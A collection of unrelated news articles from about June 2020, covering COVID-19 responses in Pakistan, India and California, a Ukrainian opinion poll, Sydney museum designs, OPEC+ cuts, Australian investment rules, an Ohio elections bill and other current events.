Mohammad Afzal, the chairman of the National Disaster Management Authority, said that Pakistan is still a month away from the projected peak of the pandemic.

June will be a tough month, but we will then reach a plateau, he told a local television station. Things will begin moving toward improvement in the first or second week of July.

Afzal says that under the three-pronged strategy the government is focusing on protecting health workers by providing them with protective gear. We are also identifying hotspots through testing, he said. Thirdly, we are ramping up the hospital capacity, particularly with regard to ventilators.

But reports from across Pakistan indicate that new arrivals are already overwhelming hospitals as medical workers braced for a surge of COVID-19 patients. In recent months, medical staff have protested the lack of protective equipment in several Pakistani cities.

Asad Aslam, the CEO of Mayo, a major government hospital in Lahore, the capital of Punjab Province, however, said hospitals were not overwhelmed just yet. We can handle the further burden of patients, he told Reuters.

The city of 11 million residents is a likely virus hotspot. According to a government letter discussing the results of smart sampling in Lahore, some 670,000 people had likely contracted the coronavirus last month. Many of those are likely to be asymptomatic.

Critics have blamed Khans administration for mishandling the crisis, since the first coronavirus cases were confirmed in Pakistan in late February. Opposition leaders and critics are highlighting Khans decision to ease the lockdown last month as a key turning point. They point to the rise in infections as evidence for imposing stricter restrictions instead of easing them.

-- With reporting by the Ap, DPA and Reuters
Half of respondents (50.5%) believe that Ukraine will gain victory over Russia, while 10.3% are convinced that Russia will win.

"For example, 50.5% of respondents believe that Ukraine will gain victory over Russia in the future, and only 10% believe that Russia will win. But with an expanded wording, only 37.2% believe that Ukraine will gain victory over Russia because Russia is a weak backward state, while the whole civilized world stands with Ukraine. However, 31.2% chose the answer that Ukraine will never win over Russia because Ukraine is much politically and economically weaker," Deputy Director of the Kyiv International Institute of Sociology Anton Hrushetsky announced, presenting the results of all-Ukrainian opinion poll, an Ukrinform correspondent reports.

According to him, 55.5% of respondents are convinced that Ukrainian residents will speak mainly Ukrainian in the future, and 29.8% believe that the Russian language will become the second state language.

"48.8% of respondents believe that the Russian language is a historical heritage of Ukraine that needs to be developed, and 27% believe that the Russian language threatens the independence of Ukraine," the Deputy Director of the Kyiv International Institute of Sociology added.

In addition, 48.8% of respondents believe that it is needed to negotiate with Russia and representatives of the "DPR/LPR" in order to achieve peace in Donbas, while 35.1% are convinced that no concessions to Moscow and separatists must be made to achieve peace in Donbas.

At the same time, 44.1% of respondents believe that Ukraine should make its citizens respect the language, state symbols and national traditions, and 39.9% believe that Ukraine should find a new unifying ideology.

The Kyiv International Institute of Sociology conducted 1,500 computer-assisted telephone interviews on April 26-30, 2020 throughout the territory of Ukraine except for the Autonomous Republic of Crimea and certain areas of Donetsk and Luhansk regions.

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Tripura Police have arrested 4,751 people and registered first information reports (FIRs) against 41 for violating the Covid-19 lockdown since the imposition of restrictions in late March.

During the same period, a total of 3,900 people were fined till June 3 for not wearing masks in public places, according to data from the police.

Since April, the state government has enforced a rule making the wearing of masks mandatory in all public places and offices. Those who violate the rule are fined with a penalty of Rs100 for first offence and Rs200 for second and subsequent offences.

Tripura has recorded a total of 647 Covid-19 cases, placing it second, after Assam, among the northeastern states. Of the total cases, 173 people have recovered, three have left the state and one died an unnatural death.

Samples of 31,139 people were tested in the state, according to the latest records from the health department.

The state has conducted 7,783 tests per million people, considered the highest in the northeastern region, according to data shared by chief minister Biplab Kumar Deb on Twitter.

Besides tracing 13,466 contacts of Covid-19 patients, state police have distributed 41,174 face masks among staff of the department and the public.

Police have also provided food packets to 45,374 people, dry rations to 15,263 families, drinking water to the interior areas of Tripura on 413 occasions and medicines to 44 villages.

They had also dealt with a total of 7,973 public calls and assisted 1,870 senior citizens during the lockdown.

The Tripura government has formed Corona monitoring and awareness committees in panchayats and village councils and asked their representatives to set up at least one quarantine centre in their areas in view of opposition to home quarantine at some places.

The state government is taking initiatives to test all people who are returning to the state. I paid a visit to some villages to see the quarantine facilities there, CM Deb said earlier.

During his visit to some quarantine centres, the chief minister found some youngsters who used to work in hotels and restaurants in other states and had returned to Tripura after losing their jobs due to the lockdown. Following this, the tourism department decided to outsource 16 cafeterias to help these youngsters get a source of income in the state, Deb said on Thursday.

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Sydney narrowly escaped a giant concrete hairdryer ruining its skyline after a controversial proposal for the Powerhouse Museum was passed over.

The museum is being moved from its inner-city location in Ultimo to Parramatta in a bid to 'culturally transform' the city's west and purportedly create thousands of jobs.

The winning design was always bound to be controversial and has even been labelled a 'monstrosity on stilts' by the state opposition.

But concept art obtained exclusively by Daily Mail Australia proves the new riverside building could have been a lot more bizarre.

Steven Holl Architects in the US and Conrad Gargett from Australia proposed this design which resembles an upside down hairdryer (pictured), as the new Powerhouse Museum

NSW state government planners were inundated with 74 concepts from 20 countries, with the winning plans drawn up by Australian's Genton and the French-Japanese firm Moreau Kusunoki.

But perhaps the most outlandish design was entered by Steven Holl Architects in the United States and Australia's Conrad Gargett.

Their space-age, ultra-modern concept combined a large cylinder shape on the bottom level with a tall, upright rectangle towering into the air - not unlike the common bathroom appliance.

It is understood the 'hairdryer' design was the only major contender that would have spared the area's heritage-listed Willow Grove estate from demolition.

The 19th century Italianate villa's destruction has been a major sticking point in the debate over the Powerhouse move.

Another proposal that was rejected by the international panel of judges was an all-white Utopian design.

Put forward by Australian architecture firms CHROFI and Reko Rennie, the futuristic concept looks like something out of a sci-fi movie, with tall rectangular columns.

The futuristic all-white concept looks like something out of a sci-fi movie, with tall rectangular columns (pictured). It was proposed by Australian architecture firms CHROFI and Reko Rennie

The winning plans were drawn up by Australian's Genton and the French-Japanese firm Moreau Kusunoki (pictured). The project is set to be completed in 2023

Australia's Scale Architecture and Brazil's Bernardes Architecture also proposed a wild design using rich, earthy colours to match the landscape.

The blocky design used various green and brown shades to give the building a natural feel which blends into its surroundings.

An entry by the UK's AL_A and Australia's Architectus attempted to pull off the opposite effect.

The multicoloured design incorporates converging shapes and staggered level balconies which overlook the river and park below.

Australia's Scale Architecture and Brazil's Bernardes Architecture proposed a wild design using rich, earthy colours which blend into the surrounding landscape (pictured)

The multicoloured design which incorporates converging shapes and staggered level balconies was proposed by the UK's AL_A and Australia's Architectus (pictured)

Political observers were beginning to suspect the ambitious Parramatta Powerhouse move would be shelved as Australia falls into a recession as a result of the COVID-19 pandemic.

Earlier this week Premier Gladys Berejiklian pulled the pin on the $800 million rebuild of ANZ Stadium - at least until the coronavirus crisis is resolved.

But she remains determined to go ahead with the Powerhouse move, hailing its as a major job creator at a time of economic downturn.

According to Ms Berejiklian, the redevelopment will create more than 1,100 construction jobs in western Sydney, as well as 2,400 indirect jobs, and keep hundreds employed once it opens.

The new 15,000 square metre facility is set to be completed in 2023.

The iconic museum showcases an array of industrial technology artifacts ranging from decorative arts, science, communication, transport, costume, furniture, media, computer technology, space technology and steam engines.

There are over 400,000 pieces in the collection.
"And actually, I'm warmed by Ernie, in my heart," she said.

But, still, she didn't deeply understand about the treatment and lives of black Americans. Her idea that things were better was just a perception, she said.

"I know that that's hard to conceive of, but that's just the truth," Geist said. "I have to just be honest and humble and admit that the experience of a person growing up in the black community is different than the experience of a person growing up in the white community. And we are not as far down the road as I thought we were."

She doesn't believe the issues of black Americans can be solved politically; racism is not something that can be eliminated with the writing of a law, she said.

"We need to have heart changes towards each other."

And she is committed to helping that happen, she said, as she asks questions and listens.

As a legislator, she will have an opportunity to vote on bills that will affect communities of color. It will be a learning process, she said, and not a comfortable place to be. But she intends to create a circle of people with whom she will consult.
OTTAWA COUNTY, MI  This years Ottawa County Fair has been canceled because of the coronavirus pandemic.

The Ottawa County Fair Association Board of Directors decided to cancel after consulting with groups associated with the fair and the Ottawa County Department of Public Health.

The fair was founded in 1959.

Those who want a taste of the fair can visit the fairgrounds June 5-7 for a Drive Thru Fair Food Weekend.

The event is open 11 a.m. to 7 p.m. Friday and Saturday and 11 a.m. to 4 p.m. Sunday.

Offered will be elephant ears, pizza, ice cream, fresh-squeezed lemonade, strawberry shortcake, steak sandwiches, onion rings, French fries, popcorn, cotton candy and beverages.

The event is cash only. Masks and social-distancing are required. They will be no restrooms available.

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The Reserve Bank of India pushed back on the billionaire Hinduja brothers plan to raise stake in IndusInd Bank, which has lost more than 70 per cent of its market value this year, said sources.

The RBI has conveyed the decision to the IndusInd founders Srichand and Gopichand Hinduja, the people said, asking not to be named as the information is not public. ALSO READ: MPC members see Covid-19 lockdown dealing a multi-year hit to economy The brothers had applied to the central bank for approval to raise their stake in the lender to 26 per cent from less than 15 ...
New Delhi, June 5 : A Delhi Court on Friday dismissed the application filed by AAP legislator Prakash Jarwal seeking interim bail to perform the last rites of his father-in-law who was suspected to have died of COVID-19.

Additional Sessions Judge (ASJ) Sanjeev Aggarwal said that the body of his in-law has already been handed over to his kin for cremation earlier on Friday, adding that Jarwal cannot be released on bail as chances of him influencing witnesses "cannot be ruled out".

"The fact that the investigations are still in progress, in these circumstances if the accused is released on interim bail, considering the dominant position of the accused, chances of the accused influencing the witnesses cannot be ruled out," ASJ Aggarwal noted, while dismissing the plea.

The police opposed Jarwal's bail application, asserting that his brother-in-law can perform all the rites and rituals related to the death of his father-in-law. They said that allegations against him were serious in nature.

"If granted the relief, the accused may likely hamper the probe," the prosecution said.

Jarwal is currently lodged in Tihar jail in connection with a case of alleged suicide of a doctor in South Delhi. A 52-year-old doctor had allegedly committed suicide in Durga Vihar on April 18. In his suicide note, he had held Jarwal responsible for his taking the extreme step.

In his bail application, the legislator stated that his father-in-law had breathing problems from the past two days and expired in LNJP hospital on Wednesday, while he was under treatment.

"As per Hindu rites, the presence of the accused is must at time of cremation of his father-in-law," he said, requesting the court to grant him bail.

Jarwal claimed that there is an apprehension that his wife and eleven-month-old child may also have contracted coronavirus.

Jarwal, who represents the Deoli assembly constituency, was arrested on May 9, after a case of extortion and abetment to suicide was filed against him and others based on a police complaint by the doctor's son.
Credit: University of Twente

Researchers from the University of Twente's Faculty of Geo-Information Science and Earth Observation (ITC) have used satellite images to assess the effective use of cover crops in the Dutch province of Overijssel. The study focuses on analysing satellite images from 2017 and 2018 and the results have now been published in the International Journal of Applied Earth Observation and Geoinformation.

Planting a cover crop between the main growing seasons is a measure that offers multiple potential benefits for sustainable food production. These crops play a major role in preventing the nitrates introduced by fertilisation from leaching into the groundwater. To comply with current regulations, Dutch farmers are required to sow a cover crop after cultivating maize by 1 October at the latest.

Estimating sowing dates

Imagery from Sentinel-2 satellites made it possible to estimate the sowing dates for individual fields. "Fields covered in vegetation reflect high levels of near-infrared light and low levels of light from the visible spectrum. Plotting this reflection over time allows us to track changes and estimate sowing dates. A newly sown field without plants reflects relatively little infrared light," ITC researcher Dr. Anton Vrieling explains.

Cover in december

Using these estimates, the researchers were able to examine the influence of sowing dates on the final cover in December. On this basis, the researchers then determined what temperature sumthe sum of all daily average temperatures above four degreeswas needed to achieve optimum winter field cover. On average over the past thirty years, the required temperature sum was achieved on time when the cover crop was sown on 19 September. "Depending on the weather, the maize is not ready to harvest on that date, which means that farmers would have to undersow the cover crop while the maize is still ripening to get it into the fields on time," Vrieling concludes.

Figure 1 Satellite image of the fields of Overijssel. Credit: University of Twente

Further details

This study began as a project for Master's students at the ITC faculty, but soon developed into a fully-fledged research project led by ITC researchers Dr. Xinyan Fan, Dr. Anton Vrieling and Prof. Andy Nelson, in collaboration with Bert Muller of Agro Accent. The article, "Winter cover crops in Dutch maize fields: Variability in quality and its drivers assessed from multi-temporal Sentinel-2 imagery," is published in the International Journal of Applied Earth Observation and Geoinformation.

Explore further Tillage and cover cropping effects on grain production

More information: Xinyan Fan et al. Winter cover crops in Dutch maize fields: Variability in quality and its drivers assessed from multi-temporal Sentinel-2 imagery, International Journal of Applied Earth Observation and Geoinformation (2020). Xinyan Fan et al. Winter cover crops in Dutch maize fields: Variability in quality and its drivers assessed from multi-temporal Sentinel-2 imagery,(2020). DOI: 10.1016/j.jag.2020.102139
The 'Anglo-Saxon era' that is widely believed to have followed the withdrawal of the Romans from Britain in 410AD may have never existed, according to a University of Cambridge expert.

Schools teach that, after Romans left Britain, Britain was invaded and colonised by a throng of German-speaking barbarians from Europe, known as the Saxons.

This, common wisdom dictates, then gave birth to the so-called Anglo-Saxon era which endured in some guise until the Norman conquest of 1066.

This theory is based on the prevalence of German-based languages and questionable interpretations of historical records.

However, Professor Susan Oosthuizen believes the invasion and colonisation, which is thought to have occurred in the 5th century, never happened.

Instead, she claims post-Roman Britain slowly evolved and aspects of the fallen empire became ingrained within English culture.

Over centuries, language, religion and culture remained firmly based on the Roman blueprint, while being influenced by small-scale migration and trade with other European civilisations - including the Saxons.

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Romans occupied England for hundreds of years after their invasion in the first century BC (pictured). After this Empire fell, it was thought Saxons invaded Britain in the 5th century. However, one expert claims this is a myth (stock)

Professor Oosthuizen, of the University of Cambridge, this week gave an online lecture based on her book, released last year and titled 'The Emergence of the English', explaining her theory.

Based on her expert opinion as Emeritus Professor of Medieval Archaeology and the best available research, she lays out a theory for how Britain, and specifically England, emerged from its post-Roman era.

She says there is evidence of clear continuity following the 410AD Roman withdrawal.

Farms were tended in the same way, Roman languages  Latin and Brittonic  were spoken, legal systems were carried over and religion kept its Romanesque structure.

She believes the Romans left a lasting impact on British culture and people.

Professor Oosthuizen adds that the term 'Anglo-Saxon era' is misleading and is forcefully against its use.

Instead, she thinks the post-Roman and pre-Norman time-frame should be divided into three sections: 'late antique' (AD 400-650), 'early medieval' (AD 650-850), and 'pre-Conquest' (AD 850-1100).

'The emergence of the English was an evolution from Romano-British antecedents. It was not a colonial imposition,' Professor Oosthuizen writes.

Previously, it was widely thought that Saxon invaders took over England after sailing across the English Channel from what is now modern-day Germany.

Several scientific studies have backed up this theory, but Professor Oosthuizen believes either the conclusions or the methodology of these papers were flawed.

A 6th Century monk, and also a historian, called Gildas (pictured, a statue of the monk) wrote that following the demise of the Roman Empire, England maintained a legal system, a religious hierarchy and military command structures. All indicate that England followed the Roman blueprint

However, the theory of an Anglo-Saxon era has long been the most widely accepted theory.

Much of this is due to the records of a British Monk called Gildas who lived in the 6th century.

He stated that the Saxons posed a military threat after being recruited by British leaders as soldiers.

However, according to Professor Oosthuizen's interpretation, he also claimed Scots and Picts were a bigger threat.

Gildas also wrote that following the demise of the Roman Empire, England's legal system, religious hierarchy and military command structures remained intact, and continued to follow the Roman blueprint.

According to Professor Oosthuizen, the direct impact of the Romans was still seen 400 years after they left British shores.

In the tumultuous and muddled picture of post-Roman England, jostling Lords tried to assert their right to rule by claiming to be heirs to Rome. This was happening up until and during the 8th century.

Professor Oosthuizen says that although a Saxon invasion of England may be a myth, there was definitely some migration of people from Europe to England.

But instead of a rapid and comprehensive 5th Century overhaul of the Roman way of life, England instead underwent a complex transformation that incorporated aspects of European culture, language and religion into a central Romanesque base.

Over time, the Latin and Brittonic languages were abandoned as the native tongue of England, with the Germanic 'Old English' becoming dominant.

Many researchers believe this is evidence of a conquest. However, Professor Oosthuizen believes the switch to this language was a gradual one, brought about by trade.

She dismisses previous genetic evidence that found clear Germanic origins in many English people as being unreliable, due to flaws in how the research was conducted.

Experts continue to debate the significance of Romanisation after 410AD and what sculpted England between the end of the Romans and the start of Norman rule.
BAKU, Azerbaijan, June 5

By Nargiz Ismayilova - Trend:

Azerbaijans Minister of Energy Parviz Shahbazov will participate in the meeting of the ministers of OPEC+ countries, Trend reports citing the Azerbaijani Energy Ministry.

According to the ministry, the meeting of OPEC ministers will be held in a video conference format at 16:00 (GMT+4) on June 6, and of OPEC+ ministers - at 18:00 on the same day.

The state of the global oil market, development trends and fulfillment of obligations to reduce production will be discussed at OPEC+ ministerial meeting. It is also planned to consider extending the Declaration of Cooperation after June to reduce oil production by 9.7 million barrels per day under OPEC+, the message said.

Azerbaijan joined the Declaration of Cooperation, which was adopted after the ministerial meetings of the OPEC + countries (held on April 9 and April 12, 2020) and envisioned a cut in oil output by 9.7 million barrels per day (bpd) from May through June, 7.7 million bpd from July through December, and by 5.8 million bpd from January 2021 through April 2022.

In accordance with a new OPEC+ deal, Azerbaijan shall reduce oil production by 164,000 barrels from May through June 2020 against 718,000 barrels of crude oil produced in October 2018. During this period, Azerbaijan should maintain the daily crude oil production at the level of 554,000 barrels.

---

Follow the author on Twitter: @IsmailovaNargis
BYD's office in downtown Los Angeles. (Mel Melcon / Los Angeles Times)

Two months after Gov. Gavin Newsom announced a nearly $1-billion deal with Chinese automaker BYD to purchase respirators, California has yet to receive any of the much-needed N95 masks. And on Friday, state officials announced that they would give the company a second extension to deliver on its promise.

It's the latest complication in the deal with BYD, which has a U.S. subsidiary headquartered in Los Angeles County, to supply 300 million highly protective respirators during the COVID-19 pandemic. The electric car maker has struggled to have its N95 masks certified by the National Institute for Occupational Safety and Health. BYD first failed to meet a contractual deadline on April 30 for its N95 masks to be certified, forcing the company to refund half of California's $495-million down payment.

State officials amended the agreement to give BYD until May 31 for the N95 masks to be approved by federal regulators. The amendment allowed for the state to either extend that deadline or for BYD to return the remaining $247.5 million of California's down payment by Friday. State officials announced Friday that they will now give BYD until June 12 to have the masks certified. The new amendment notes that if the respirators are certified by the new timeline, the state plans to purchase 150 million masks, which would be delivered this month and next.

"Should the vendor fail to obtain NIOSH certification in the new timeline, any outstanding payments to the vendor will be refunded to the state," Brian Ferguson, a spokesman for the Governor's Office of Emergency Services, said in a statement.

On Friday, BYD declined to comment on the matter.

In April, California agreed to pay $990 million to BYD for 300 million N95 protective masks at a cost of $3.30 apiece. Although that price is higher than the masks would cost in non-pandemic times, the state entered into the contract during a worldwide shortage of the masks. The respirators filter 95% of particles, providing crucial protection to nurses and other essential workers.

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While state lawmakers said they understood the state's desire to buy the critical supplies, the governor received bipartisan blowback for how his administration handled the deal.

Lawmakers said they learned about the $1-billion contract at the same time as the public, when Newsom went on MSNBC's "The Rachel Maddow Show" to announce the deal . Then, the contract itself was kept under wraps for a month. The governors office at first refused to disclose the document to lawmakers and journalists  even though government contracts are public under state law  citing concerns that the masks might be seized if the information was released.

In recent weeks, Newsom has downplayed the delays and said California taxpayers will not be out any money if BYD ultimately does not come through.

"We pay for what we get," Newsom said Friday. "We don't pay for things we don't get."

Newsom added that the state is working with other suppliers and will "have a backup."

In a statement last month to The Times, NIOSH said it notified BYD on May 4 that on-site visits to the companys manufacturing and production facilities in China had resulted in a rating of not acceptable. The agency also said its review of documentation provided to NIOSH for the design, manufacturing and quality inspection of the device was concerning.

NIOSH declined to elaborate on the specific reasons for its denial, saying such information is confidential under federal rules, but added in a statement that the decision was based on a number of factors.

BYD submitted a total of four applications for N95 respirators, according to a letter from the regulatory agency. Three of the applications were denied and a fourth was withdrawn, a NIOSH official told The Times.

Federal regulators did not respond to a request for comment Friday on the status of BYD's mask certification.

While the state hasn't received N95 masks from BYD, the company has provided millions of surgical masks to California.

The state agreed to pay BYD $54.9 million to purchase 100 million surgical masks. So far, more than 90 million have been delivered to California, Newsom said. Over the next two months, BYD's contract with California also gives the state the option of buying an additional 250 million N95 respirators for $825 million and 112.5 million surgical masks for $61.8 million.
By Kirsty Needham and Scott Murdoch

SYDNEY/HONG KONG (Reuters) - Australia announced the biggest shakeup of its foreign investment laws in almost half a century on Friday, including giving the government the power to force the sale of a business if it creates a national security risk.

Citing the need to balance economic and national security, Treasurer Josh Frydenberg said all foreign investors will face greater scrutiny when bidding for sensitive assets, regardless of the size of the deal and whether the buyer is private or state-owned.

"Technology has been evolving and our geopolitical climate has become more complex," Frydenberg said in Canberra. "In fact, the world over, governments are seeing foreign investment being used for strategic objectives not purely commercial ones."

In one major change, the Treasurer will be given a last-resort power to vary or to impose conditions on a deal or force a divestment after the deal has been approved by the Foreign Investment and Review Board (FIRB). A Treasury document said the power would not be retrospective.

Prime Minister Scott Morrison said compliance would also be tightened, with the government to spend an additional $50 million on enforcement of the rules. A Treasury spokesman told Reuters extra resources would go to the Australian Security Intelligence Organisation (ASIO) as well as the Taxation Office, Department of Home Affairs and Treasury.

Frydenberg did not provide details of which business sectors would be captured by the national security test and subject to FIRB's scrutiny, but he did give some indication of areas of interest.

The definition would likely cover telecommunications, energy and utilities firms, the defence supply chain, and businesses that collect, store and own data deemed critical to Australia's national security and defence, he said.

Scott Phillips, a partner at M&A law firm Arnold Bloch Leibler, said it was crucial the categories be carefully defined at a time the Australian economy has been hard hit by the coronavirus pandemic.

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"While sensible on the face of it, these changes carry a very real risk of discouraging much needed, national interest investment as Australia heads into our first recession in 29 years," Phillips told Reuters.

Under current laws, most private investments under A$275 million ($190.8 million) are not screened by FIRB, while the threshold is A$1.2 billion for companies from countries such as China which have free trade agreements with Australia. The threshold is zero for state-owned enterprises.

The government plans to release a draft of the proposed changes by next month for legislative debate with planned implementation on Jan. 1, 2021.

Changes could affect deals such as the current sale of Virgin Australia. The frontrunners for the country's No. 2 airline, which is being sold by administrators, are U.S. private equity firms Bain Capital and Cyrus Capital.

CHINA DEALS

Frydenberg did not single out China, or any other country, when announcing the overhaul, but the Chinese government has previously raised concerns with Australia about changes to foreign investment rules.

Public disquiet over the sale of the Port of Darwin in 2016 to Chinese company Landbridge led to new rules requiring FIRB approval for critical infrastructure deals. FIRB blocked two proposed investments by Chinese companies in Australian listed mining companies in late April, raising concerns by bankers and fund managers of a strategic shift in the governments thinking. China dropped from second to fifth in the list of countries providing the largest sources of approved foreign investment in Australia for 2018-2019. The United States was first, followed by Canada, Singapore and Japan in 2018-2019.

Business Council chief executive Jennifer Westacott said the government should ensure that low risk investments were "streamlined and approved quickly so businesses can attract the global investment they need to get on with creating jobs."

(This story has been refiled to add the missing word 'compliance' in the fifth paragraph)

($1 = 1.4395 Australian dollars)

(Reporting by Kirsty Needham, Scott Murdoch and Melanie Burton, additional reporting by Renju Jose; Editing by Stephen Coates and Jane Wardell)
COLUMBUS, Ohio -- The Ohio House on Thursday passed an elections bill that would prohibit Gov. Mike DeWines administration from changing the time, place or manner of any future state elections, a response to the chaotic primary earlier this year that was postponed for more than a month due to the coronavirus pandemic.

House Bill 680 also shortens the deadline to request a mail-in ballot by four days  its now a week before Election Day  and bars Secretary of State Frank LaRose from providing voters with postage-paid envelopes along with their ballot applications and blank ballots. LaRose, a Republican, had proposed providing the envelopes to encourage mail-in voting amid the coronavirus pandemic.

The bill was approved by a 60-35 party-line vote. It adopts language previously passed by the Ohio Senate in a separate bill prohibiting any public official from changing the time, place or manner of an election. All the yes votes were from Republicans, and the no votes were from Democrats.

The House bill would require approval from the state Senate as well as DeWines signature to become law.

The public official provision is a response to the March 17 primary, which the DeWine administration postponed hours before polls were to have opened due to the then-new coronavirus pandemic. After it was first extended through June 2, state lawmakers set a plan for an extended all-mail voting period that ran through April 28. The chaotic process led to widespread confusion and at times, overwhelmed elections workers and the postal system.

The last thing we need is a repeat of what happened with the March election, said state Rep. Scott Wiggam, a Wooster Republican.

But Democrats said the bill, introduced just last week, was rushed, and said the public official language could have unintended consequences. Republicans said it would still allow local boards of election to close a polling place due to a local disaster, but Democrats said thats not certain.

Democrats also said the bill fails to pro-actively address issues that could be unique to this years election, such as a possible second wave of COVID-19 that could render in-person voting unsafe or, as elections officials have warned, cause a shortage of poll workers who refuse to work due to health concerns.

Republicans defeated Democratic amendments, including those that would have allowed LaRose to provide the postage-paid envelopes.

"We are not doing right by our constituents by not making it easier for our constituents to vote, said state Rep. Brigid Kelly, a Cincinnati Democrat.

An earlier version of the bill, fast tracked since it was introduced last week, laid out an emergency elections plan that would have allowed DeWine to request, with legislative approval, an all-mail vote 60 days before the election.

It also originally called for ending the statewide mailing of unsolicited absentee ballot applications  something the state has done for every presidential and gubernatorial election since 2012.

In the face of widespread criticism from voting-rights activists, county elections officials, LaRose and Democrats, House Republicans removed those provisions on Wednesday.

Another provision initially in the bill would have removed language from Ohio law allowing in-person early voting the final three days before Election Day, according to elections officials.

The bills sponsor, state Rep. Cindy Abrams, a Cincinnati Republican, said Thursday her bill never intended to reduce in-person early voting days, since those days are offered through a series of court orders that settled litigation between the state, the ACLU and the NAACP. But, she said the language was removed to alleviate any concerns.

Read recent coverage by cleveland.com:

Ohio lawmakers advance elections bill while removing language that rolled back early voting

Ohio House bill would roll back in-person early voting, end statewide mailing of ballot applications for November election

Ohio Senate passes bill restricting elections changes

Ohio Democrats call for streamlined ballot requests, expanded voter registration for November election

Ohios 2020 never-ending primary election: it could have been worse, but fixes needed, elections officials say
Pinduoduo subsidizes viral street stall wagon

By:Zheng Qian | From:english.eastday.com | 2020-06-05 17:45

As street stalls are no longer being cracked down on but instead encouraged by the Chinese government in order to boost the economy struck by the coronavirus epidemic, a type of wagon car produced by SAIC-GM-Wuling Automobile, has gone viral on the internet since its launch advertisement.

The stock price of the company even saw a sharp increase of more than 120% on June 3 after the advertisement released on its WeChat account at noon caught peoples attention.

Eyeing the business opportunities from the Wuling vending vans popularity, Pinduoduo, a Chinese e-commerce giant, announced it would launch the first batch of 100 vans on the platform and provide a 3,000 yuan fuel subsidy for each buyer.

Regarding the subsidy, Chen Qiu, vice president of Pinduoduo, introduced that the car is currently quite popular on the Internet and many consumers on social media were calling on Pinduoduo to subsidize them.We hope to help more people reduce their entrepreneurial costs. Pinduoduo are working together with the entrepreneurs," said Chen.
Irish Water was concerned about the optics of being seen to introduce new water charges for businesses during the Covid-19 crisis.

A new charging system for business customers had been due to be introduced on May 1 but has been delayed indefinitely by the utility.

Internal records obtained under Freedom of Information show how Irish Water was worried about overall public perception of a state body not supporting the business community.

A memo described how the project  which would have involved new tariffs for more than 180,000 non-domestic customers  was on track to start billing from May 1.

However, the utility said the impact of the message Irish Water would be sending out needed to be given consideration.

It highlighted the fact that many of the companies they would be contacting, including restaurants, hotels, and small to medium-sized businesses had been particularly hard-hit during the Covid-19 outbreak.

Irish Water were also worried about the availability of staff within the company and their third party call centre to deal with an upsurge in call volumes about charging, work which was deemed non-critical.

The memo said this could put a demand on resources that would divert from the companys priority work of maintaining water and wastewater services.

It added: Finally, in light of the Taoiseachs recent announcement, we would have concerns about overall public perception of a government body not supporting the business community, and contradicting other government departments advice.

In one email, a senior manager wrote: Although disappointing from a project perspective, I feel that given the current climate it was exactly the right decision. Minutes of a meeting from March 9 on deferral of the charges describe how plans for the new tariffs needed to be parked pending further discussion.

An official raised the major concern  as to whether or not it was prudent to be issuing letters to businesses on potential tariff increases when many are being hugely impacted by the current virus outbreak.

Irish Water had approached the Department of Housing for their views on what to do. The message was that the Minister had been briefed and that they [the department] had no preference either way at the time, the minutes said.

The minutes also describe how if charges were deferred, Irish Water would need to produce revised budgets saying revenue implications will also have to understood over and above the 5m estimated budget.

By March 20, the Department of Housing was fully behind the plan to defer the charges and said it was too early for a decision on a date to recommence.

It was agreed that customers would be given a minimum of three months advance notification before commencing billing, an email said.
A more recent publication of this set of statistics is available. Latest publication: Foreign Shipping Traffic 2021, November

Published: 5 June 2020

Sea transport increased in April

The goods volume of foreign sea transport was in total 8.7 million tonnes in April 2020. Sea transport increased by 0.2 million tonnes from last year's April. Exports remained unchanged and were 4.45 million tonnes. Import volume increased by four per cent and amounted to 4.25 million tonnes.

Foreign sea Transport by month (tonnes) in 2018 to 2020

General cargo was transported most, in total 1.4 million tonnes, which is 16 per cent of all transport. The second most transported was oil products, 1.2 million tonnes, and crude oil, 1.1 million tonnes.

Container transport

A total of 1.1 million tonnes of containers were transported through Finnish ports in April 2020, which is four per cent less than in April 2019. The number of containers transported was 78,209 (138,100 TEU containers) 1) . Exports of containers went down by 3.6 per cent measured in tonnes and imports decreased by eight per cent measured in tonnes compared to April 2019.

Vehicle transport

A total of 93,948 transport equipment were transported in foreign sea traffic in April 2020. Most transports of transport equipment were trucks and truck trailers. A total of 58,824 trucks and 30,635 truck trailers were transported.

Passenger traffic

A total of 64,811 persons were transported in passenger traffic in April 2020. In all, 40,644 persons travelled between Finland and Estonia and 21,719 persons between Finland and Sweden. Altogether, 2,448 passengers were transported between Finland and Germany. Passengers made up only five per cent of the number of passengers in April 2019. In April 2020, no passengers of foreign cruise ships arrived in Finland.

Vessel traffic and goods volume in the Saimaa Canal

A total of 57,024 tons of transport were registered through the canal in foreign traffic. Crude minerals and cement was transported most in vessels in foreign traffic, in total 19,740 tonnes. The second most transported was paper.

1) TEU, the basic measurement unit of container traffic, refers to one container that is twenty feet long, eight feet wide and 8.5 feet high.

Source: Transport and tourism, Statistics Finland

Inquiries: Matti Kokkonen 029 551 3770, Sami Lahtinen 029 551 3207, matti.kokkonen@tilastokeskus.fi

Director in charge: Mari Yla-Jarkko

Publication in pdf-format (167.6 kB)

Updated 05.06.2020

Referencing instructions: Official Statistics of Finland (OSF): Foreign Shipping Traffic [e-publication].

ISSN=2670-2002. April 2020. Helsinki: Statistics Finland [referred: 21.1.2022].

Access method: http://www.stat.fi/til/uvliik/2020/04/uvliik_2020_04_2020-06-05_tie_001_en.html
There is so much more work to be done. So many Americans are still hurting, Biden says.

Democratic US Presidential candidate Joe Biden on Friday criticised Republican US President Donald Trump for prematurely celebrating a better-than-expected jobs report, saying the battered United States economy still faces an arduous rebuilding.

Biden said the governments surprising May report showing the addition of 2.5 million jobs in the middle of the coronavirus pandemic was just a first sign of recovery from a deep and broad recession.

There is so much more work to be done. So many Americans are still hurting, Biden said at Delaware State University, a historically Black university in Dover, Delaware.

The remarks came after the US Department of Labor said the unemployment rate dropped to 13.3 percent from 14.7 percent in April, suggesting the economic downturn may have bottomed out. Nonfarm payrolls rose after a record plunge of slightly under 20.7 million in April.

Trump, who has been counting on a quick economic turnaround to boost his chances against Biden in the November 3 election, was quick to take credit at a White House news conference, and said the economy could regain all of its lost jobs by next year.

Biden said Trumps celebration while so many Americans were still struggling was a sign of how out of touch he was.

The president who takes no responsibility for costing millions and millions of Americans their jobs deserves no credit when a fraction of them return, Biden said.





Not everyone was benefitting from the improvement, Biden noted, as the African-American unemployment rate rose slightly.

The report underscored the challenge Biden faces in fashioning his own distinct economic message. Even while Biden leads Trump nationally in a head-to-head matchup, polls show the president is largely more trusted on his handling of the economy.

Biden, who has called for an ambitious set of federal programmes to lift the country out of recession, repeated his pledge to release a large-scale recovery plan soon.

